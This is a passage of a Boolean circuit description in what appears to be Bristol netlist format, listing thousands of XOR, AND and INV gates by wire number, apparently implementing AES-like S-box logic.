+2 1 33709 19521 19524 XOR +2 1 19619 19570 19522 XOR +2 1 33707 19521 19520 XOR +2 1 19616 19617 19615 AND +2 1 19615 19623 19614 XOR +2 1 19621 19615 19613 XOR +2 1 19615 19574 19529 XOR +2 1 19615 19632 19528 XOR +2 1 19528 19629 19523 XOR +2 1 19523 19524 19606 XOR +2 1 19623 19613 19612 AND +2 1 19612 19620 19610 XOR +2 1 19612 19630 19583 XOR +2 1 19583 19577 19604 XOR +2 1 33703 19583 19566 XOR +2 1 19566 19529 19611 XOR +2 1 19618 19610 19609 AND +2 1 19609 19579 19569 XOR +2 1 19569 19571 19608 XOR +2 1 19609 19633 19527 XOR +2 1 19566 19527 19519 XOR +2 1 19556 19519 19526 XOR +2 1 19523 19526 19607 XOR +2 1 19569 19522 19605 XOR +2 1 19519 19520 19603 XOR +2 1 19604 19641 19602 AND +2 1 19611 19640 19601 AND +2 1 19614 33702 19600 AND +2 1 19600 19602 19582 XOR +2 1 19605 19635 19599 AND +2 1 19608 19647 19598 AND +2 1 19618 19637 19597 AND +2 1 19597 19598 19536 XOR +2 1 19606 19638 19596 AND +2 1 19603 19636 19595 AND +2 1 19595 19598 19551 XOR +1 1 19551 19548 INV +2 1 19595 19596 19547 XOR +2 1 19607 19639 19594 AND +2 1 19604 19645 19593 AND +2 1 19611 19642 19592 AND +2 1 19614 19646 19591 AND +2 1 19605 19650 19590 AND +2 1 19590 19594 19567 XOR +2 1 19599 19590 19552 XOR +1 1 19567 19545 INV +2 1 19608 19643 19589 AND +2 1 19597 19589 19554 XOR +2 1 19618 19644 19588 AND +2 1 19545 19588 19544 XOR +2 1 19544 19582 19540 XOR +2 1 19606 19649 19587 AND +2 1 19587 19540 19543 XOR +2 1 19603 19651 19586 AND +2 1 19586 19587 19581 XOR +2 1 19592 19581 19563 XOR +2 1 19593 19563 19564 XOR +2 1 19601 19564 19568 XOR +2 1 19602 19568 19573 XOR +2 1 19554 19581 19550 XOR +2 1 19582 19550 19553 XOR +2 1 19552 19553 19655 XOR +2 1 19545 19550 19549 XOR +2 1 19548 19549 19654 XOR +2 1 19573 19547 19653 XOR +2 1 19563 19540 19539 XOR +2 1 19600 19568 19537 XOR +2 1 19536 19537 35414 XOR +2 1 19607 19648 19585 AND +2 1 19596 19585 19546 XOR +1 1 19546 19542 INV +2 1 19542 19543 19652 XOR +2 1 12526 12532 12484 XOR +2 1 12484 12455 12471 XOR +2 1 12479 12471 12522 XOR +2 1 12549 12472 12545 XOR +2 1 12541 12545 12534 AND +2 1 12534 12457 12460 XOR +2 1 14177 14178 32655 XOR +2 1 14174 32655 14154 XOR +2 1 14170 14154 14120 XOR +2 1 14175 14154 14114 XOR +2 1 14143 14114 35461 XOR +1 1 14120 14117 INV +2 1 14117 14118 35458 XOR +2 1 32655 14152 35460 XOR +2 1 35460 35459 6885 XOR +2 1 16540 16541 32672 XOR +2 1 32672 16515 35399 XOR +2 1 16537 32672 16517 XOR +2 1 16533 16517 16483 XOR +1 1 16483 16480 INV +2 1 16480 16481 35397 XOR +2 1 16538 16517 16477 XOR +2 1 16506 16477 35402 XOR +2 1 19598 19599 32694 XOR +2 1 19595 32694 19575 XOR +2 1 19596 19575 19535 XOR +2 1 19564 19535 35416 XOR +2 1 19591 19575 19541 XOR +1 1 19541 19538 INV +2 1 19538 19539 35413 XOR +2 1 32694 19573 35415 XOR +1 1 14232 32877 INV +1 1 14233 32878 INV +1 1 14234 32879 INV +1 1 14231 32884 INV +2 1 32877 32884 7034 XOR +1 1 14929 32893 INV +2 1 32893 6495 35104 XOR +2 1 35104 983 33678 XOR +2 1 18125 32893 6347 XOR +2 1 6346 6347 6680 XOR +2 1 6680 6625 35097 XOR +2 1 35097 990 33671 XOR +2 1 33671 33673 14412 XOR +2 1 32893 32943 6632 XOR +2 1 6632 6625 6493 XOR +2 1 6632 6591 6471 XOR +2 1 32901 6471 35120 XOR +2 1 6632 6599 6481 XOR +2 1 33026 6481 35112 XOR +2 1 35120 967 33694 XOR +2 1 35112 975 33686 XOR +1 1 14926 32898 INV +2 1 32898 6485 35109 XOR +2 1 33031 32898 6502 XOR +2 1 6501 6502 35102 XOR +2 1 35109 978 33683 XOR +2 1 35102 985 33676 XOR +2 1 33674 33676 14415 XOR +2 1 33670 33676 14419 XOR +2 1 33675 14419 14504 XOR +2 1 33671 14504 14500 XOR +2 1 14415 33675 14374 XOR +2 1 33670 14374 14503 XOR +2 1 14503 33670 14489 AND +2 1 14504 14500 14487 AND +2 1 32898 32941 6616 XOR +2 1 6616 33031 6477 XOR +1 1 6477 6475 INV +2 1 6475 6476 35117 XOR +2 1 6616 6612 6458 XOR +2 1 32906 6458 35125 XOR +2 1 35117 970 33691 XOR +2 1 33691 33693 14274 XOR +2 1 14274 14369 14354 XOR +2 1 14369 14354 14345 AND +2 1 35125 962 33699 XOR +2 1 33699 33701 6728 XOR +2 1 6728 6824 6809 XOR +2 1 6824 6809 6800 AND +1 1 14927 32899 INV +2 1 32899 6457 35126 XOR +2 1 35215 32899 6483 XOR +2 1 6482 6483 35111 XOR +2 1 35126 961 33700 XOR +2 1 33694 33700 6734 XOR +2 1 35111 976 33685 XOR +2 1 6728 6734 6817 XOR +2 1 33698 33700 6730 XOR +2 1 6730 6728 6690 XOR +2 1 6730 33699 6689 XOR +2 1 33694 6689 6819 XOR +2 1 6819 33694 6805 AND +2 1 33699 6734 6820 XOR +2 1 32899 33032 6610 XOR +2 1 6610 32906 6473 XOR +2 1 6473 6474 35118 XOR +2 1 6610 6591 6500 XOR +2 1 35220 6500 35103 XOR +2 1 6616 6610 6484 XOR +2 1 32907 6484 35110 XOR +2 1 35118 969 33692 XOR +2 1 33690 33692 14276 XOR +2 1 33686 33692 14280 XOR +2 1 14274 14280 14362 XOR +2 1 33691 14280 14365 XOR +2 1 14276 14274 14236 XOR +2 1 14276 33691 14235 XOR +2 1 33686 14235 14364 XOR +2 1 14364 33686 14350 AND +2 1 35103 984 33677 XOR +2 1 33675 33677 14413 XOR +2 1 33674 33677 14506 XOR +2 1 14413 14419 14501 XOR +2 1 14412 14506 14498 XOR +2 1 33670 14498 14497 XOR +2 1 14415 14413 14375 XOR +2 1 14412 14375 14496 XOR +2 1 33677 33671 14507 XOR +2 1 35110 977 33684 XOR +2 1 33683 33685 31844 XOR +2 1 33678 33684 31850 XOR +2 1 31844 31850 31932 XOR +2 1 33683 31850 31935 XOR +1 1 14928 32900 INV +2 1 35217 32900 6506 XOR +2 1 6505 6506 35098 XOR +2 1 35098 989 33672 XOR +2 1 33672 14412 14414 XOR +2 1 33676 14414 14495 XOR +2 1 33675 14414 14492 XOR +2 1 14419 14414 14494 XOR +2 1 33671 33672 14429 XOR +2 1 14429 14501 14499 XOR +2 1 14506 14429 14502 XOR +2 1 33672 33674 14508 XOR +2 1 14413 14508 14493 XOR +2 1 33673 33672 14389 XOR +2 1 33677 33672 14505 XOR +2 1 14498 14502 14491 AND +2 1 14491 14415 14418 XOR +2 1 14499 14497 14490 AND +2 1 14507 14492 14488 AND +2 1 14488 14413 14417 XOR +2 1 14501 14494 14486 AND +2 1 14506 14495 14485 AND +2 1 14485 14414 14416 XOR +2 1 14418 14416 14422 XOR +2 1 33677 14422 14427 XOR +2 1 14508 14493 14484 AND +2 1 14484 14490 14436 XOR +2 1 14436 14427 14482 XOR +2 1 14484 14485 14388 XOR +2 1 14388 14389 14435 XOR +2 1 14435 14417 14434 XOR +2 1 14487 14434 14481 XOR +2 1 14505 14496 14483 AND +2 1 14483 14486 14437 XOR +2 1 14483 14489 14441 XOR +2 1 14441 14413 14428 XOR +2 1 14436 14428 14479 XOR +2 1 14484 14437 14431 XOR +2 1 14417 14437 14391 XOR +2 1 14391 14416 14480 XOR +2 1 14422 14441 14390 XOR +2 1 33675 14390 14433 XOR +2 1 14487 14431 14387 XOR +2 1 33671 14387 14474 XOR +2 1 14482 14481 14478 AND +2 1 14478 14433 14473 XOR +2 1 14478 14480 14477 XOR +2 1 14479 14477 14476 AND +2 1 14476 14433 14475 XOR +2 1 14476 14488 14382 XOR +2 1 14382 14418 14378 XOR +2 1 33677 14378 14381 XOR +2 1 14476 14427 14379 XOR +2 1 33675 14378 14377 XOR +2 1 14473 14474 14472 AND +2 1 14472 14480 14471 XOR +2 1 14478 14472 14470 XOR +2 1 14472 14431 14386 XOR +2 1 14472 14489 14385 XOR +2 1 14385 14486 14380 XOR +2 1 14380 14381 14463 XOR +2 1 14480 14470 14469 AND +2 1 14469 14477 14467 XOR +2 1 14469 14487 14440 XOR +2 1 14440 14434 14461 XOR +2 1 33671 14440 14423 XOR +2 1 14423 14386 14468 XOR +2 1 14475 14467 14466 AND +2 1 14466 14436 14426 XOR +2 1 14426 14428 14465 XOR +2 1 14466 14490 14384 XOR +2 1 14423 14384 14376 XOR +2 1 14413 14376 14383 XOR +2 1 14380 14383 14464 XOR +2 1 14426 14379 14462 XOR +2 1 14376 14377 14460 XOR +2 1 14461 14498 14459 AND +2 1 14468 14497 14458 AND +2 1 14471 33670 14457 AND +2 1 14457 14459 14439 XOR +2 1 14462 14492 14456 AND +2 1 14465 14504 14455 AND +2 1 14475 14494 14454 AND +2 1 14454 14455 14393 XOR +2 1 14463 14495 14453 AND +2 1 14460 14493 14452 AND +2 1 14452 14455 14408 XOR +1 1 14408 14405 INV +2 1 14452 14453 14404 XOR +2 1 14464 14496 14451 AND +2 1 14461 14502 14450 AND +2 1 14468 14499 14449 AND +2 1 14471 14503 14448 AND +2 1 14462 14507 14447 AND +2 1 14447 14451 14424 XOR +2 1 14456 14447 14409 XOR +1 1 14424 14402 INV +2 1 14465 14500 14446 AND +2 1 14454 14446 14411 XOR +2 1 14475 14501 14445 AND +2 1 14402 14445 14401 XOR +2 1 14401 14439 14397 XOR +2 1 14463 14506 14444 AND +2 1 14444 14397 14400 XOR +2 1 14460 14508 14443 AND +2 1 14443 14444 14438 XOR +2 1 14449 14438 14420 XOR +2 1 14450 14420 14421 XOR +2 1 14458 14421 14425 XOR +2 1 14459 14425 14430 XOR +2 1 14411 14438 14407 XOR +2 1 14439 14407 14410 XOR +2 1 14409 14410 14512 XOR +2 1 14402 14407 14406 XOR +2 1 14405 14406 14511 XOR +2 1 14430 14404 14510 XOR +2 1 14420 14397 14396 XOR +2 1 14457 14425 14394 XOR +2 1 14393 14394 35394 XOR +2 1 14464 14505 14442 AND +2 1 14453 14442 14403 XOR +1 1 14403 14399 INV +2 1 14399 14400 14509 XOR +2 1 35394 35398 7149 XOR +1 1 7149 7031 INV +2 1 32900 35216 6631 XOR +2 1 6631 6622 6491 XOR +2 1 35212 6491 35106 XOR +2 1 6631 6629 6469 XOR +2 1 6469 6470 35121 XOR +2 1 35121 966 33695 XOR +2 1 33695 33697 6727 XOR +2 1 6727 6690 6812 XOR +2 1 6821 6812 6799 AND +2 1 33701 33695 6823 XOR +2 1 6727 6822 6814 XOR +2 1 33695 6820 6816 XOR +2 1 6820 6816 6803 AND +2 1 33696 6727 6729 XOR +2 1 33699 6729 6808 XOR +2 1 6823 6808 6804 AND +2 1 6734 6729 6810 XOR +2 1 6817 6810 6802 AND +2 1 6804 6728 6732 XOR +2 1 33700 6729 6811 XOR +2 1 6822 6811 6801 AND +2 1 6801 6729 6731 XOR +2 1 6800 6801 6703 XOR +2 1 6703 6704 6750 XOR +2 1 6799 6802 6752 XOR +2 1 6800 6752 6746 XOR +2 1 6803 6746 6702 XOR +2 1 33695 6702 6790 XOR +2 1 6732 6752 6706 XOR +2 1 6706 6731 6796 XOR +2 1 6750 6732 6749 XOR +2 1 6803 6749 6797 XOR +2 1 35106 981 33680 XOR +2 1 6675 6631 35113 XOR +2 1 35113 974 33687 XOR +2 1 33687 33689 14273 XOR +2 1 33688 14273 14275 XOR +2 1 33692 14275 14356 XOR +2 1 33691 14275 14353 XOR +2 1 14280 14275 14355 XOR +2 1 33687 14365 14361 XOR +2 1 14273 14367 14359 XOR +2 1 33686 14359 14358 XOR +2 1 33687 33688 14290 XOR +2 1 14290 14362 14360 XOR +2 1 14367 14290 14363 XOR +2 1 14273 14236 14357 XOR +2 1 33693 33687 14368 XOR +2 1 14359 14363 14352 AND +2 1 14352 14276 14279 XOR +2 1 14360 14358 14351 AND +2 1 14345 14351 14297 XOR +2 1 14368 14353 14349 AND +2 1 14349 14274 14278 XOR +2 1 14365 14361 14348 AND +2 1 14362 14355 14347 AND +2 1 14367 14356 14346 AND +2 1 14346 14275 14277 XOR +2 1 14279 14277 14283 XOR +2 1 33693 14283 14288 XOR +2 1 14297 14288 14343 XOR +2 1 14345 14346 14249 XOR +2 1 14249 14250 14296 XOR +2 1 14296 14278 14295 XOR +2 1 14348 14295 14342 XOR +2 1 14366 14357 14344 AND +2 1 14344 14347 14298 XOR +2 1 14344 14350 14302 XOR +2 1 14302 14274 14289 XOR +2 1 14297 14289 14340 XOR +2 1 14345 14298 14292 XOR +2 1 14278 14298 14252 XOR +2 1 14252 14277 14341 XOR +2 1 14283 14302 14251 XOR +2 1 33691 14251 14294 XOR +2 1 14348 14292 14248 XOR +2 1 33687 14248 14335 XOR +2 1 14343 14342 14339 AND +2 1 14339 14294 14334 XOR +2 1 14339 14341 14338 XOR +2 1 14340 14338 14337 AND +2 1 14337 14294 14336 XOR +2 1 14337 14349 14243 XOR +2 1 14243 14279 14239 XOR +2 1 33693 14239 14242 XOR +2 1 14337 14288 14240 XOR +2 1 33691 14239 14238 XOR +2 1 14334 14335 14333 AND +2 1 14333 14341 14332 XOR +2 1 14339 14333 14331 XOR +2 1 14333 14292 14247 XOR +2 1 14333 14350 14246 XOR +2 1 14246 14347 14241 XOR +2 1 14241 14242 14324 XOR +2 1 14341 14331 14330 AND +2 1 14330 14338 14328 XOR +2 1 14330 14348 14301 XOR +2 1 14301 14295 14322 XOR +2 1 33687 14301 14284 XOR +2 1 14284 14247 14329 XOR +2 1 14336 14328 14327 AND +2 1 14327 14297 14287 XOR +2 1 14287 14289 14326 XOR +2 1 14327 14351 14245 XOR +2 1 14284 14245 14237 XOR +2 1 14274 14237 14244 XOR +2 1 14241 14244 14325 XOR +2 1 14287 14240 14323 XOR +2 1 14237 14238 14321 XOR +2 1 14322 14359 14320 AND +2 1 14329 14358 14319 AND +2 1 14332 33686 14318 AND +2 1 14318 14320 14300 XOR +2 1 14323 14353 14317 AND +2 1 14326 14365 14316 AND +2 1 14336 14355 14315 AND +2 1 14315 14316 14254 XOR +2 1 14324 14356 14314 AND +2 1 14321 14354 14313 AND +2 1 14313 14316 14269 XOR +1 1 14269 14266 INV +2 1 14313 14314 14265 XOR +2 1 14325 14357 14312 AND +2 1 14322 14363 14311 AND +2 1 14329 14360 14310 AND +2 1 14332 14364 14309 AND +2 1 14323 14368 14308 AND +2 1 14308 14312 14285 XOR +2 1 14317 14308 14270 XOR +1 1 14285 14263 INV +2 1 14326 14361 14307 AND +2 1 14315 14307 14272 XOR +2 1 14336 14362 14306 AND +2 1 14263 14306 14262 XOR +2 1 14262 14300 14258 XOR +2 1 14324 14367 14305 AND +2 1 14305 14258 14261 XOR +2 1 14321 14369 14304 AND +2 1 14304 14305 14299 XOR +2 1 14310 14299 14281 XOR +2 1 14311 14281 14282 XOR +2 1 14319 14282 14286 XOR +2 1 14320 14286 14291 XOR +2 1 14272 14299 14268 XOR +2 1 14300 14268 14271 XOR +2 1 14270 14271 14373 XOR +2 1 14263 14268 14267 XOR +2 1 14266 14267 14372 XOR +2 1 14291 14265 14371 XOR +2 1 14281 14258 14257 XOR +2 1 14318 14286 14255 XOR +2 1 14254 14255 35442 XOR +2 1 14325 14366 14303 AND +2 1 14314 14303 14264 XOR +1 1 14264 14260 INV +2 1 14260 14261 14370 XOR +2 1 33694 6814 6813 XOR +2 1 6799 6805 6756 XOR +2 1 6756 6728 6743 XOR +2 1 33695 33696 6744 XOR +2 1 6822 6744 6818 XOR +2 1 6814 6818 6807 AND +2 1 6744 6817 6815 XOR +2 1 6815 6813 6806 AND +2 1 6800 6806 6751 XOR +2 1 6751 6743 6795 XOR +2 1 6807 6730 6733 XOR +2 1 6733 6731 6737 XOR +2 1 6737 6756 6705 XOR +2 1 33699 6705 6748 XOR +2 1 33701 6737 6742 XOR +2 1 6751 6742 6798 XOR +2 1 6798 6797 6794 AND +2 1 6794 6796 6793 XOR +2 1 6795 6793 6792 AND +2 1 6792 6742 6694 XOR +2 1 6792 6804 6697 XOR +2 1 6697 6733 6693 XOR +2 1 33701 6693 6696 XOR +2 1 33699 6693 6692 XOR +2 1 6792 6748 6791 XOR +2 1 6791 6817 6761 AND +2 1 6791 6810 6770 AND +2 1 6794 6748 6789 XOR +2 1 6789 6790 6788 AND +2 1 6788 6805 6700 XOR +2 1 6700 6802 6695 XOR +2 1 6695 6696 6779 XOR +2 1 6779 6822 6760 AND +2 1 6779 6811 6769 AND +2 1 6794 6788 6786 XOR +2 1 6796 6786 6785 AND +2 1 6785 6803 6755 XOR +2 1 6755 6749 6777 XOR +2 1 6777 6818 6766 AND +2 1 6777 6814 6775 AND +2 1 33695 6755 6738 XOR +2 1 6785 6793 6783 XOR +2 1 6791 6783 6782 AND +2 1 6782 6806 6699 XOR +2 1 6738 6699 6691 XOR +2 1 6728 6691 6698 XOR +2 1 6695 6698 6780 XOR +2 1 6780 6812 6767 AND +2 1 6691 6692 6776 XOR +2 1 6776 6824 6759 AND +2 1 6780 6821 6758 AND +2 1 6769 6758 6718 XOR +2 1 6759 6760 6753 XOR +1 1 6718 6714 INV +2 1 6788 6746 6701 XOR +2 1 6738 6701 6784 XOR +2 1 6784 6815 6765 AND +2 1 6784 6813 6774 AND +2 1 6765 6753 6735 XOR +2 1 6766 6735 6736 XOR +2 1 6774 6736 6740 XOR +2 1 6775 6740 6745 XOR +2 1 6776 6809 6768 AND +2 1 6788 6796 6787 XOR +2 1 6787 6819 6764 AND +2 1 6787 33694 6773 AND +2 1 6773 6740 6709 XOR +2 1 6773 6775 6754 XOR +2 1 6782 6751 6741 XOR +2 1 6741 6694 6778 XOR +2 1 6778 6823 6763 AND +2 1 6778 6808 6772 AND +2 1 6772 6763 6724 XOR +2 1 6763 6767 6739 XOR +1 1 6739 6717 INV +2 1 6717 6761 6716 XOR +2 1 6716 6754 6712 XOR +2 1 6760 6712 6715 XOR +2 1 6714 6715 6825 XOR +2 1 6735 6712 6711 XOR +2 1 6741 6743 6781 XOR +2 1 6781 6816 6762 AND +2 1 6781 6820 6771 AND +2 1 6770 6762 6726 XOR +2 1 6771 6772 6757 XOR +2 1 6757 6745 35428 XOR +2 1 6768 6757 6747 XOR +2 1 6769 6747 6707 XOR +2 1 6736 6707 35429 XOR +2 1 35416 35429 7091 XOR +2 1 6764 6747 6713 XOR +1 1 6713 6710 INV +2 1 6710 6711 35426 XOR +2 1 6726 6753 6722 XOR +2 1 6770 6771 6708 XOR +2 1 6708 6709 35427 XOR +2 1 6754 6722 6725 XOR +2 1 6724 6725 6828 XOR +1 1 7091 6837 INV +2 1 7091 35427 6841 XOR +2 1 6837 35426 6838 XOR +2 1 6768 6771 6723 XOR +1 1 6723 6720 INV +2 1 6717 6722 6721 XOR +2 1 6720 6721 6827 XOR +2 1 6768 6769 6719 XOR +2 1 6745 6719 6826 XOR +2 1 33685 33680 31936 XOR +2 1 14316 14317 32656 XOR +2 1 14313 32656 14293 XOR +2 1 14314 14293 14253 XOR +2 1 14282 14253 35444 XOR +2 1 14309 14293 14259 XOR +1 1 14259 14256 INV +2 1 14256 14257 35441 XOR +2 1 32656 14291 35443 XOR +2 1 14455 14456 32657 XOR +2 1 14452 32657 14432 XOR +2 1 14448 14432 14398 XOR +2 1 14453 14432 14392 XOR +2 1 14421 14392 35396 XOR +2 1 35396 35402 7085 XOR +2 1 7085 35394 6874 XOR +1 1 14398 14395 INV +2 1 14395 14396 35393 XOR +2 1 35393 35397 6875 XOR +2 1 6874 6875 7154 XOR +2 1 32657 14430 35395 XOR +2 1 35395 35399 7140 XOR +1 1 6827 32787 INV +1 1 6828 32788 INV +2 1 6837 32788 6835 XOR +1 1 6825 32789 INV +1 1 6826 32790 INV +1 1 14371 32881 INV +1 1 14372 32882 INV +1 1 14373 32883 INV +1 1 14510 32885 INV +2 1 32885 35401 7135 XOR +1 1 14511 32886 INV +1 1 14512 32887 INV +1 1 14370 32888 INV +1 1 14509 32892 INV +2 1 32892 35400 7137 XOR +1 1 16597 32921 INV +1 1 16596 32928 INV +1 1 19653 32961 INV +2 1 35416 32961 6972 XOR +2 1 32961 32790 7100 XOR +1 1 19654 32962 INV +1 1 19655 32963 INV +1 1 19652 32968 INV +2 1 32789 32968 6992 XOR +2 1 12460 12458 12464 XOR +2 1 33733 12464 12470 XOR +2 1 12479 12470 12525 XOR +2 1 12525 12524 12521 AND +2 1 12464 12484 12432 XOR +2 1 33731 12432 12476 XOR +2 1 12521 12476 12516 XOR +2 1 12516 12517 12515 AND +2 1 12515 12523 12514 XOR +2 1 12521 12515 12513 XOR +2 1 12523 12513 12512 AND +2 1 12521 12523 12520 XOR +2 1 12522 12520 12519 AND +2 1 12519 12470 12421 XOR +2 1 12512 12520 12510 XOR +2 1 12519 12531 12424 XOR +2 1 12424 12460 12420 XOR +2 1 33731 12420 12419 XOR +2 1 33733 12420 12423 XOR +2 1 12519 12476 12518 XOR +2 1 12512 12530 12483 XOR +2 1 12483 12477 12504 XOR +2 1 12504 12541 12502 AND +2 1 12515 12474 12428 XOR +2 1 12518 12510 12509 AND +2 1 12509 12479 12469 XOR +2 1 12469 12421 12505 XOR +2 1 12469 12471 12508 XOR +2 1 33727 12483 12465 XOR +2 1 12505 12535 12499 AND +2 1 12508 12547 12498 AND +2 1 12498 12499 12467 XOR +2 1 12514 33726 12500 AND +2 1 12500 12502 12482 XOR +2 1 12465 12428 12511 XOR +2 1 12511 12540 12501 AND +2 1 12508 12543 12489 AND +2 1 12514 12546 12491 AND +2 1 12518 12537 12497 AND +2 1 12497 12498 12435 XOR +2 1 12497 12489 12453 XOR +2 1 12515 12532 12427 XOR +2 1 12427 12529 12422 XOR +2 1 12422 12423 12506 XOR +2 1 12506 12549 12487 AND +2 1 12506 12538 12496 AND +2 1 12504 12545 12493 AND +2 1 12511 12542 12492 AND +2 1 12505 12550 12490 AND +2 1 12499 12490 12451 XOR +2 1 12518 12544 12488 AND +2 1 12509 12533 12426 XOR +2 1 12465 12426 12418 XOR +2 1 12418 12419 12503 XOR +2 1 12455 12418 12425 XOR +2 1 12422 12425 12507 XOR +2 1 12503 12536 12495 AND +2 1 12495 12496 12446 XOR +2 1 12495 12467 12475 XOR +2 1 12491 12475 12440 XOR +1 1 12440 12437 INV +2 1 12496 12475 12434 XOR +2 1 12503 12551 12486 AND +2 1 12486 12487 12481 XOR +2 1 12453 12481 12449 XOR +2 1 12492 12481 12462 XOR +2 1 12482 12449 12452 XOR +2 1 12451 12452 12555 XOR +2 1 12507 12548 12485 AND +2 1 12496 12485 12445 XOR +1 1 12445 12441 INV +2 1 12507 12539 12494 AND +2 1 12490 12494 12466 XOR +1 1 12466 12444 INV +2 1 12444 12449 12448 XOR +2 1 12444 12488 12443 XOR +2 1 12443 12482 12439 XOR +2 1 12462 12439 12438 XOR +2 1 12437 12438 35445 XOR +2 1 35441 35445 7130 XOR +1 1 7130 6942 INV +2 1 12487 12439 12442 XOR +2 1 12441 12442 12552 XOR +2 1 12493 12462 12463 XOR +2 1 12501 12463 12468 XOR +2 1 12500 12468 12436 XOR +2 1 12502 12468 12473 XOR +2 1 12473 12446 12553 XOR +2 1 12467 12473 35447 XOR +2 1 35443 35447 7111 XOR +2 1 12435 12436 35446 XOR +2 1 35442 35446 7120 XOR +2 1 12463 12434 35448 XOR +2 1 35444 35448 7080 XOR +2 1 12495 12498 12450 XOR +1 1 12555 32860 INV +2 1 32883 32860 7142 XOR +1 1 12552 32863 INV +2 1 32888 32863 7105 XOR +2 1 7105 35447 6939 XOR +1 1 6939 6937 INV +1 1 12553 32864 INV +2 1 32881 32864 7094 XOR +2 1 7094 32863 6932 XOR +2 1 7080 32864 6929 XOR +1 1 12450 12447 INV +2 1 12447 12448 12554 XOR +1 1 12554 32859 INV +2 1 32882 32859 7134 XOR +2 1 6942 32859 6940 XOR +1 1 24524 33053 INV +2 1 32945 33053 6613 XOR +2 1 6613 6605 6545 XOR +1 1 6613 6584 INV +2 1 6584 32783 6582 XOR +1 1 24525 33054 INV +2 1 33054 33053 6544 XOR +2 1 33054 32946 6555 XOR +2 1 33054 32784 6611 XOR +2 1 6611 32945 6566 XOR +1 1 24526 33055 INV +2 1 33055 32947 6562 XOR +2 1 6684 33055 6551 XOR +2 1 33055 32785 6618 XOR +1 1 24527 33056 INV +2 1 33056 32948 6341 XOR +2 1 6340 6341 6683 XOR +2 1 33056 32786 6638 XOR +1 1 5828 33239 INV +2 1 33239 35006 5623 XOR +2 1 5623 5624 5896 XOR +2 1 33239 32986 5660 XOR +2 1 5660 5661 34870 XOR +2 1 34870 376 33517 XOR +2 1 33515 33517 20112 XOR +2 1 20112 20207 20192 XOR +2 1 33514 33517 20205 XOR +2 1 20205 20128 20201 XOR +2 1 20112 20118 20200 XOR +2 1 20128 20200 20198 XOR +2 1 20111 20205 20197 XOR +2 1 33510 20197 20196 XOR +2 1 20114 20112 20074 XOR +2 1 20111 20074 20195 XOR +2 1 33517 33511 20206 XOR +2 1 33517 33512 20204 XOR +2 1 20197 20201 20190 AND +2 1 20190 20114 20117 XOR +2 1 20198 20196 20189 AND +2 1 20206 20191 20187 AND +2 1 20187 20112 20116 XOR +2 1 20200 20193 20185 AND +2 1 20205 20194 20184 AND +2 1 20184 20113 20115 XOR +2 1 20117 20115 20121 XOR +2 1 33517 20121 20126 XOR +2 1 20207 20192 20183 AND +2 1 20183 20189 20135 XOR +2 1 20135 20126 20181 XOR +2 1 20183 20184 20087 XOR +2 1 20087 20088 20134 XOR +2 1 20134 20116 20133 XOR +2 1 20186 20133 20180 XOR +2 1 20204 20195 20182 AND +2 1 20182 20185 20136 XOR +2 1 20182 20188 20140 XOR +2 1 20140 20112 20127 XOR +2 1 20135 20127 20178 XOR +2 1 20183 20136 20130 XOR +2 1 20116 20136 20090 XOR +2 1 20090 20115 20179 XOR +2 1 20121 20140 20089 XOR +2 1 33515 20089 20132 XOR +2 1 20186 20130 20086 XOR +2 1 33511 20086 20173 XOR +2 1 20181 20180 20177 AND +2 1 20177 20132 20172 XOR +2 1 20177 20179 20176 XOR +2 1 20178 20176 20175 AND +2 1 20175 20132 20174 XOR +2 1 20175 20187 20081 XOR +2 1 20081 20117 20077 XOR +2 1 33517 20077 20080 XOR +2 1 20175 20126 20078 XOR +2 1 33515 20077 20076 XOR +2 1 20172 20173 20171 AND +2 1 20171 20179 20170 XOR +2 1 20177 20171 20169 XOR +2 1 20171 20130 20085 XOR +2 1 20171 20188 20084 XOR +2 1 20084 20185 20079 XOR +2 1 20079 20080 20162 XOR +2 1 20179 20169 20168 AND +2 1 20168 20176 20166 XOR +2 1 20168 20186 20139 XOR +2 1 20139 20133 20160 XOR +2 1 33511 20139 20122 XOR +2 1 20122 20085 20167 XOR +2 1 20174 20166 20165 AND +2 1 20165 20135 20125 XOR +2 1 20125 20127 20164 XOR +2 1 20165 20189 20083 XOR +2 1 20122 20083 20075 XOR +2 1 20112 20075 20082 XOR +2 1 20079 20082 20163 XOR +2 1 20125 20078 20161 XOR +2 1 20075 20076 20159 XOR +2 1 20160 20197 20158 AND +2 1 20167 20196 20157 AND +2 1 20170 33510 20156 AND +2 1 20156 20158 20138 XOR +2 1 20161 20191 20155 AND +2 1 20164 20203 20154 AND +2 1 20174 20193 20153 AND +2 1 20153 20154 20092 XOR +2 1 20162 20194 20152 AND +2 1 20159 20192 20151 AND +2 1 20151 20154 20107 XOR +1 1 20107 20104 INV +2 1 20151 20152 20103 XOR +2 1 20163 20195 20150 AND +2 1 20160 20201 20149 AND +2 1 20167 20198 20148 AND +2 1 20170 20202 20147 AND +2 1 20161 20206 20146 AND +2 1 20146 20150 20123 XOR +2 1 20155 20146 20108 XOR +1 1 20123 20101 INV +2 1 20164 20199 20145 AND +2 1 20153 20145 20110 XOR +2 1 20174 20200 20144 AND +2 1 20101 20144 20100 XOR +2 1 20100 20138 20096 XOR +2 1 20162 20205 20143 AND +2 1 20143 20096 20099 XOR +2 1 20159 20207 20142 AND +2 1 20142 20143 20137 XOR +2 1 20148 20137 20119 XOR +2 1 20149 20119 20120 XOR +2 1 20157 20120 20124 XOR +2 1 20158 20124 20129 XOR +2 1 20110 20137 20106 XOR +2 1 20138 20106 20109 XOR +2 1 20108 20109 20211 XOR +2 1 20101 20106 20105 XOR +2 1 20104 20105 20210 XOR +2 1 20129 20103 20209 XOR +2 1 35256 20209 6580 XOR +2 1 6579 6580 35167 XOR +2 1 35167 920 33741 XOR +2 1 20119 20096 20095 XOR +2 1 20156 20124 20093 XOR +2 1 20092 20093 35249 XOR +2 1 6684 35249 6548 XOR +2 1 6547 6548 6546 XOR +1 1 6546 35187 INV +2 1 35187 900 33761 XOR +2 1 20163 20204 20141 AND +2 1 20152 20141 20102 XOR +1 1 20102 20098 INV +2 1 20098 20099 20208 XOR +1 1 20209 35251 INV +2 1 35251 32946 6653 XOR +2 1 6653 32783 6543 XOR +2 1 6543 6544 35190 XOR +2 1 35190 897 33764 XOR +2 1 6653 6613 6556 XOR +2 1 32784 6556 35182 XOR +2 1 35182 905 33756 XOR +2 1 5896 5893 34890 XOR +2 1 34890 356 33537 XOR +2 1 33535 33537 17331 XOR +2 1 33536 17331 17333 XOR +2 1 33540 17333 17414 XOR +2 1 33539 17333 17411 XOR +2 1 17338 17333 17413 XOR +2 1 33537 33536 17308 XOR +2 1 17426 17411 17407 AND +2 1 17407 17332 17336 XOR +2 1 17420 17413 17405 